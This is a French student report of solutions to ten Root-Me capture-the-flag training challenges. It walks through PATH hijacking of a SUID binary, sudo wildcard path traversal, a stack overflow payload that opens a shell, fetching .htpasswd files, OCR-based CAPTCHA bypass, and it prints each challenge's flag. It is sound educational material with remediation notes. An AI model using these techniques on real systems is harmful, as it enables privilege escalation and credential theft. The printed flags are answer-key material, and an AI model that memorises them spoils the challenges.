

RAPPORT ROOT-ME

Challenges Résolus - Compilation Complète

Résumé

Ce rapport documente la résolution de 10 challenges Root-Me couvrant plusieurs catégories : App-Script, App-Système, Cracking, Programmation et Réaliste. Chaque challenge est analysé avec sa méthodologie d'exploitation et les concepts de sécurité associés.

Challenges couverts

Catégorie	Challenge	Points
App-Script	Bash - System 1	5
App-Script	sudo - faiblesse de configuration	5
App-Système	ELF x86 - Stack buffer overflow basic 1	15
Cracking	ELF x86 - 0 protection	5
Programmation	TCP - Retour au collège	5
Programmation	TCP - Chaîne encodée	10
Programmation	TCP - La roue romaine	10
Programmation	TCP - Uncompress Me	15
Programmation	CAPTCHA me if you can	25
Réaliste	Eh-oui-parfois	10
Total		105

Ibrahim Kakaev
Décembre 2025

Dans le cadre d'une formation en cybersécurité

Table des matières

1	Introduction	3
1.1	Catégories abordées	3
2	App-Script	4
2.1	Bash - System 1	4
2.1.1	Analyse du code source	4
2.1.2	Vulnérabilité identifiée	4
2.1.3	Exploitation	4
2.1.4	Concepts clés	4
2.2	sudo - faiblesse de configuration	5
2.2.1	Reconnaissance	5
2.2.2	Analyse des permissions	5
2.2.3	Exploitation	5
2.2.4	Concepts clés	5
3	App-Système	6
3.1	ELF x86 - Stack buffer overflow basic 1	6
3.1.1	Analyse du code source	6
3.1.2	Vulnérabilité identifiée	6
3.1.3	Exploitation	6
3.1.4	Concepts clés	7
4	Cracking	8
4.1	ELF x86 - 0 protection	8
4.1.1	Analyse du binaire	8
4.1.2	Extraction des strings	8
4.1.3	Validation	8
4.1.4	Concepts clés	8
5	Programmation	9
5.1	TCP - Retour au collège	9
5.1.1	Objectif	9
5.1.2	Solution Python	9
5.2	TCP - Chaîne encodée	11
5.2.1	Objectif	11
5.2.2	Solution Python	11
5.2.3	Concepts clés	11
5.3	TCP - La roue romaine	12
5.3.1	Objectif	12
5.3.2	Principe du ROT13	12
5.3.3	Solution Python	12
5.3.4	Table de correspondance ROT13	13
5.4	TCP - Uncompress Me	14
5.4.1	Objectif	14
5.4.2	Exemple	14
5.4.3	Solution Python	14
5.4.4	Concepts clés	15
5.5	CAPTCHA me if you can	16
5.5.1	Objectif	16

5.5.2	Solution Python	16
5.5.3	Points importants	16
6	Réaliste	18
6.1	Eh-oui-parfois	18
6.1.1	Objectif	18
6.1.2	Reconnaissance	18
6.1.3	Analyse	18
6.1.4	Exploitation	18
6.1.5	Concepts clés	18
7	Annexes	19
7.1	Annexe A : Cheat Sheet des commandes	19
7.2	Annexe B : Encodages courants	19
7.3	Annexe C : Ressources	19

1 Introduction

Root-Me est une plateforme d'apprentissage dédiée au hacking et à la sécurité informatique. Ce rapport compile les solutions de 10 challenges répartis dans 5 catégories différentes, offrant une vue d'ensemble des compétences fondamentales en cybersécurité.

1.1 Catégories abordées

- **App-Script** : Exploitation de scripts et configuration système
- **App-Système** : Exploitation de binaires (buffer overflow)
- **Cracking** : Reverse engineering de binaires
- **Programmation** : Automatisation et réseau
- **Réaliste** : Scénarios web réalistes

2 App-Script

2.1 Bash - System 1

URL : <https://www.root-me.org/fr/Challenges/App-Script/Bash-System-1>
Points : 5
Difficulté : Très facile
Vulnérabilité : PATH Hijacking

2.1.1 Analyse du code source

```
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
    setreuid(geteuid(), geteuid());
    system("ls /challenge/app-script/ch11/.passwd");
    return 0;
}
```

2.1.2 Vulnérabilité identifiée

Le binaire SUID appelle `ls` sans chemin absolu. Le système recherche l'exécutable dans les répertoires du PATH, de gauche à droite.

2.1.3 Exploitation

```
# Connexion SSH
ssh app-script-ch11@challenge02.root-me.org -p 2222
# Mot de passe: app-script-ch11

# Créer un faux ls qui execute cat
cp /bin/cat /tmp/ls

# Modifier le PATH
export PATH=/tmp:$PATH

# Executer le binaire SUID
./ch11
```

FLAG

!oPe96a/.s8d5

2.1.4 Concepts clés

- **SUID bit** : Exécution avec les privilèges du propriétaire
- **PATH Hijacking** : Détournement de la résolution des commandes
- **Remédiation** : Utiliser des chemins absolus (`/bin/ls`)

2.2 sudo - faiblesse de configuration

URL : <https://www.root-me.org/fr/Challenges/App-Script/sudo-faiblesse-de-config>
Points : 5
Difficulté : Très facile
Vulnérabilité : Configuration sudo permissive avec wildcard

2.2.1 Reconnaissance

```
# Connexion SSH
ssh app-script-ch1@challenge02.root-me.org -p 2222

# Lire les instructions
cat readme.md
# Objectif: lire /challenge/app-script/ch1/ch1cracked/.passwd

# Verifier les permissions sudo
sudo -l
```

2.2.2 Analyse des permissions

User app-script-ch1 may run the following commands:
(app-script-ch1-cracked) /bin/cat /challenge/app-script/ch1/ch1/*

La configuration permet d'exécuter cat sur n'importe quel fichier correspondant au pattern /challenge/app-script/ch1/ch1/*.

2.2.3 Exploitation

Le wildcard * permet d'utiliser le path traversal avec ../ :

```
# Methode 1 : Path traversal
sudo -u app-script-ch1-cracked /bin/cat \
    /challenge/app-script/ch1/ch1/../ch1cracked/.passwd

# Methode 2 : Argument supplémentaire
sudo -u app-script-ch1-cracked /bin/cat \
    /challenge/app-script/ch1/ch1/shared_notes \
    /challenge/app-script/ch1/ch1cracked/.passwd
```

FLAG

b3_c4r3full_with_sud0

2.2.4 Concepts clés

- **sudo -l** : Lister les permissions sudo de l'utilisateur
- **sudo -u** : Exécuter en tant qu'un autre utilisateur
- **Wildcard abuse** : Les wildcards peuvent permettre le path traversal
- **Remédiation** : Spécifier des chemins exacts sans wildcards

3 App-Système

3.1 ELF x86 - Stack buffer overflow basic 1

URL : <https://www.root-me.org/fr/Challenges/App-Systeme/ELF-x86-Stack-buffer-overflow>
Points : 15
Difficulté : Facile
Vulnérabilité : Stack Buffer Overflow

3.1.1 Analyse du code source

```
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>

int main()
{
    int var;
    int check = 0x04030201;
    char buf[40];

    fgets(buf, 45, stdin);

    printf("\n[buf]: %s\n", buf);
    printf("[check] %p\n", check);

    if ((check != 0x04030201) && (check != 0xdeadbeef))
        printf("\nYou are on the right way!\n");

    if (check == 0xdeadbeef)
    {
        printf("Yeah dude! You win!\nOpening your shell...\n");
        setreuid(geteuid(), geteuid());
        system("/bin/bash");
        printf("Shell closed! Bye.\n");
    }
    return 0;
}
```

3.1.2 Vulnérabilité identifiée

- Buffer buf de 40 octets
- fgets accepte 45 octets (5 de trop)
- La variable check est adjacente sur la stack
- Objectif : Écraser check avec 0xdeadbeef

3.1.3 Exploitation

```
# Connexion SSH
ssh app-systeme-ch13@challenge02.root-me.org -p 2222
```

```
# Payload: 40 caracteres + 0xdeadbeef en little-endian
(python -c 'print "A"*40 + "\xef\xbe\xad\xde"; cat) | ./ch13

# Une fois le shell obtenu
cat .passwd
```

Little-Endian : Sur architecture x86, les octets sont stockés en ordre inverse. 0xdeadbeef devient \xef\xbe\xad\xde.

FLAG

1w4ntm0444r

3.1.4 Concepts clés

- **Stack layout** : Variables locales adjacentes en mémoire
- **Buffer overflow** : Dépassement de tampon pour écraser des variables
- **Little-endian** : Ordre des octets sur x86
- **Remédiation** : Utiliser des fonctions sécurisées, stack canaries

4 Cracking

4.1 ELF x86 - 0 protection

URL : <https://www.root-me.org/fr/Challenges/Cracking/ELF-x86-0-protection>
Points : 5
Difficulté : Très facile
Technique : Analyse de strings

4.1.1 Analyse du binaire

```
# Télécharger le binaire ch1.bin

# Identifier le type de fichier
file ch1.bin
# ELF 32-bit LSB executable, Intel 80386

# Exécuter le binaire
./ch1.bin
# Affiche un message demandant le mot de passe
```

4.1.2 Extraction des strings

```
# Methode 1 : strings simple
strings ch1.bin

# Methode 2 : grep autour du message
strings ch1.bin | grep -B 4 "passe"

# Resultat:
# 123456789
# #####
# ## Bienvenue dans ce challenge de cracking ##
# #####
# Veuillez entrer le mot de passe :
```

4.1.3 Validation

```
./ch1.bin
# Veuillez entrer le mot de passe : 123456789
# Bien joué, vous pouvez valider l'épreuve
```

FLAG

123456789

4.1.4 Concepts clés

- **strings** : Extraction des chaînes lisibles d'un binaire
- **Stockage en clair** : Faille de sécurité majeure
- **Remédiation** : Chiffrer ou hasher les mots de passe

5 Programmation

Les challenges de programmation nécessitent l'automatisation de tâches via des scripts qui communiquent avec un serveur TCP.

5.1 TCP - Retour au collège

URL :	https://www.root-me.org/fr/Challenges/Programmation/TCP-Retour-au-college
Points :	5
Difficulté :	Très facile
Compétence :	Programmation réseau, mathématiques

5.1.1 Objectif

Le serveur envoie deux nombres. Il faut calculer la racine carrée du premier, multiplier par le second, et arrondir à 2 décimales. Réponse attendue en moins de 2 secondes.

5.1.2 Solution Python

```
import socket
import math
import re

HOST = 'challenge01.root-me.org'
PORT = 52002

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

# Recevoir le challenge
data = sock.recv(1024).decode()
print(f"Recu: {data}")

# Extraire les nombres (ex: "sqrt(X) * Y")
numbers = re.findall(r'\d+', data)
n1 = int(numbers[0])
n2 = int(numbers[1])

# Calculer la reponse
result = round(math.sqrt(n1) * n2, 2)
print(f"Resultat: {result}")

# Envoyer la reponse
sock.send(f"{result}\n".encode())

# Recevoir le flag
response = sock.recv(1024).decode()
print(f"Flag: {response}")

sock.close()
```

FLAG

Le flag est retourné par le serveur après une réponse correcte.

5.2 TCP - Chaîne encodée

URL :	https://www.root-me.org/fr/Challenges/Programmation/TCP-Chaine-encodee
Points :	10
Difficulté :	Facile
Compétence :	Décodage Base64

5.2.1 Objectif

Le serveur envoie une chaîne encodée en Base64. Il faut la décoder et renvoyer le résultat en moins de 2 secondes.

5.2.2 Solution Python

```
import socket
import base64
import re

HOST = 'challenge01.root-me.org'
PORT = 52003

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

# Recevoir le challenge
data = sock.recv(1024).decode()
print(f"Recu: {data}")

# Extraire la chaîne encodée
# Format typique: "Decode: SGVsbG8gV29ybGQ="
match = re.search(r':\s*([A-Za-z0-9+/=]+)', data)
if match:
    encoded = match.group(1)

    # Decoder Base64
    decoded = base64.b64decode(encoded).decode('utf-8')
    print(f"Decode: {decoded}")

    # Envoyer la réponse
    sock.send(f"{decoded}\n".encode())

    # Recevoir le flag
    response = sock.recv(1024).decode()
    print(f"Flag: {response}")

sock.close()
```

5.2.3 Concepts clés

- **Base64** : Encodage binaire vers texte ASCII
- **Caractères** : A-Z, a-z, 0-9, +, / (padding avec =)

5.3 TCP - La roue romaine

URL : <https://www.root-me.org/fr/Challenges/Programmation/TCP-La-roue-romaine>
Points : 10
Difficulté : Facile
Compétence : Décodage ROT13 (César)

5.3.1 Objectif

Le serveur envoie une chaîne encodée en ROT13 (chiffrement de César avec décalage de 13). Décoder et renvoyer en moins de 2 secondes.

5.3.2 Principe du ROT13

ROT13 : Rotation de 13 positions dans l'alphabet.

A-M → N-Z et N-Z → A-M

Propriété : $\text{ROT13}(\text{ROT13}(x)) = x$

5.3.3 Solution Python

```
import socket
import codecs
import re

HOST = 'challenge01.root-me.org'
PORT = 52004

def rot13(text):
    """Decode ROT13 - ne touche que les lettres"""
    return codecs.decode(text, 'rot_13')

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

# Recevoir le challenge
data = sock.recv(1024).decode()
print(f"Recu: {data}")

# Extraire et decoder
match = re.search(r':\s*(\S+)', data)
if match:
    encoded = match.group(1)
    decoded = rot13(encoded)
    print(f"Decode: {decoded}")

    sock.send(f"{decoded}\n".encode())
    response = sock.recv(1024).decode()
    print(f"Flag: {response}")

sock.close()
```

5.3.4 Table de correspondance ROT13

Original: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
ROT13: NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm

5.4 TCP - Uncompress Me

URL :	https://www.root-me.org/fr/Challenges/Programmation/TCP-Uncompress-Me
Points :	15
Difficulté :	Moyen
Compétence :	Décompression zlib + Base64

5.4.1 Objectif

Le serveur envoie une chaîne compressée avec zlib puis encodée en Base64. Il faut : décoder Base64 → décompresser zlib → renvoyer.

5.4.2 Exemple

Entree:	eJxzrHItCqnOzC8AABBiA2g=
Sortie:	AzErTyIop

5.4.3 Solution Python

```
import socket
import base64
import zlib
import re

HOST = 'challenge01.root-me.org'
PORT = 52005

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

# Recevoir le challenge
data = sock.recv(1024).decode()
print(f"Recu: {data}")

# Extraire la chaîne
match = re.search(r':\s*([A-Za-z0-9+/=]+)', data)
if match:
    encoded = match.group(1)

    # Etape 1: Decoder Base64
    compressed = base64.b64decode(encoded)

    # Etape 2: Décompresser zlib
    decompressed = zlib.decompress(compressed).decode('utf-8')
    print(f"Décompressé: {decompressed}")

    # Envoyer la réponse
    sock.send(f"{decompressed}\n".encode())

    response = sock.recv(1024).decode()
    print(f"Flag: {response}")

sock.close()
```

5.4.4 Concepts clés

- **zlib** : Bibliothèque de compression (DEFLATE)
- **Pipeline** : Base64 decode → zlib decompress
- **Attention** : L'ordre des opérations est crucial

5.5 CAPTCHA me if you can

URL :	https://www.root-me.org/fr/Challenges/Programmation/CAPTCHA-me-if-you-can
Points :	25
Difficulté :	Moyen
Compétence :	OCR, Web scraping, Sessions HTTP

5.5.1 Objectif

Résoudre automatiquement un CAPTCHA image en moins de 3 secondes :

1. Récupérer l'image CAPTCHA (encodée en Base64 dans le HTML)
2. Reconnaître le texte avec un OCR
3. Soumettre la réponse

5.5.2 Solution Python

```
import requests
import base64
import re
from PIL import Image
from io import BytesIO
import pytesseract # ou autre OCR

URL = 'http://challenge01.root-me.org/programmation/ch8/'

# Creer une session pour conserver les cookies
session = requests.Session()

# Recuperer la page avec le CAPTCHA
response = session.get(URL)
html = response.text

# Extraire l'image Base64
match = re.search(r'data:image/png;base64,([A-Za-z0-9+/=]+)', html)
if match:
    img_data = base64.b64decode(match.group(1))
    img = Image.open(BytesIO(img_data))

    # Pretraitement de l'image (optionnel)
    # img = img.convert('L') # Niveaux de gris

    # OCR
    captcha_text = pytesseract.image_to_string(img).strip()
    print(f"CAPTCHA detecte: {captcha_text}")

    # Soumettre la reponse
    data = {'captcha': captcha_text}
    result = session.post(URL, data=data)
    print(result.text)
```

5.5.3 Points importants

- **Session** : Conserver les cookies entre les requêtes

- **OCR** : Tesseract, GOCR, ou API en ligne
- **Prétraitement** : Améliore la reconnaissance (contraste, seuillage)
- **Timeout** : Répondre en moins de 3 secondes

6 Réaliste

6.1 Eh-oui-parfois

URL :	https://www.root-me.org/fr/Challenges/Realiste/Eh-oui-parfois
Points :	10
Difficulté :	Très facile
Compétence :	Énumération web, .htaccess

6.1.1 Objectif

Accéder à la section d'administration du site. L'énoncé indique : "Ne cherchez pas trop compliqué".

6.1.2 Reconnaissance

```
# Enumeration des repertoires
dirb http://challenge01.root-me.org/realiste/ch3/

# Resultats interessants:
# /admin/ -> demande authentication
# /robots.txt -> peut contenir des indices
```

6.1.3 Analyse

En accédant à /admin/, une popup d'authentification HTTP Basic apparaît. Il faut trouver les identifiants.

6.1.4 Exploitation

Plusieurs approches possibles :

1. Chercher des fichiers de configuration exposés (.htpasswd, .htaccess)
2. Tester des identifiants par défaut (admin/admin, admin/password)
3. Analyser le code source de la page principale

```
# Verifier les fichiers courants
curl http://challenge01.root-me.org/realiste/ch3/.htpasswd
curl http://challenge01.root-me.org/realiste/ch3/admin/.htpasswd

# Le fichier .htpasswd peut contenir:
# admin:$apr1$xxxxx$hashdupassword
```

6.1.5 Concepts clés

- **Directory enumeration** : dirb, gobuster, dirbuster
- **.htpasswd** : Fichier contenant les hash des mots de passe
- **HTTP Basic Auth** : Authentification simple (base64)
- **Remédiation** : Ne pas exposer les fichiers de configuration

7 Annexes

7.1 Annexe A : Cheat Sheet des commandes

Commandes utiles

```
# Connexion SSH Root-Me
ssh <user>@challenge02.root-me.org -p 2222

# Analyse de binaires
file <binary> # Type de fichier
strings <binary> # Chaines lisibles
ltrace <binary> # Trace des appels libc
strace <binary> # Trace des appels systeme

# Permissions sudo
sudo -l # Lister les permissions
sudo -u <user> <cmd> # Executer en tant que user

# Buffer overflow
python -c 'print "A"*40 + "\xef\xbe\xad\xde" | ./binary

# Enumeration web
dirb <url> # Enumeration repertoires
curl <url> # Requetes HTTP
```

7.2 Annexe B : Encodages courants

Encodages

Base64 :

```
import base64
base64.b64encode(b"texte") # Encoder
base64.b64decode("dGV4dGU=") # Decoder
```

ROT13 :

```
import codecs
codecs.decode("grkg", "rot_13") # -> "text"
```

Zlib :

```
import zlib
zlib.compress(b"texte") # Compresser
zlib.decompress(compressed) # Decompresser
```

7.3 Annexe C : Ressources

- **Root-Me** : <https://www.root-me.org/>
- **GTFOBins** : <https://gtfobins.github.io/>
- **CyberChef** : <https://gchq.github.io/CyberChef/>
- **Exploit-DB** : <https://www.exploit-db.com/>

Conclusion

10 Challenges Root-Me complétés !

Catégorie	Challenges	Points
App-Script	2	10
App-Système	1	15
Cracking	1	5
Programmation	5	65
Réaliste	1	10
Total	10	105

Compétences développées :

- Exploitation de binaires (PATH hijacking, sudo abuse, buffer overflow)
- Reverse engineering basique (strings, analyse)
- Programmation réseau (sockets TCP)
- Encodage/décodage (Base64, ROT13, zlib)
- OCR et automatisation web
- Énumération et reconnaissance web

Ibrahim Kakaev
Décembre 2025

Dans le cadre d'une formation en cybersécurité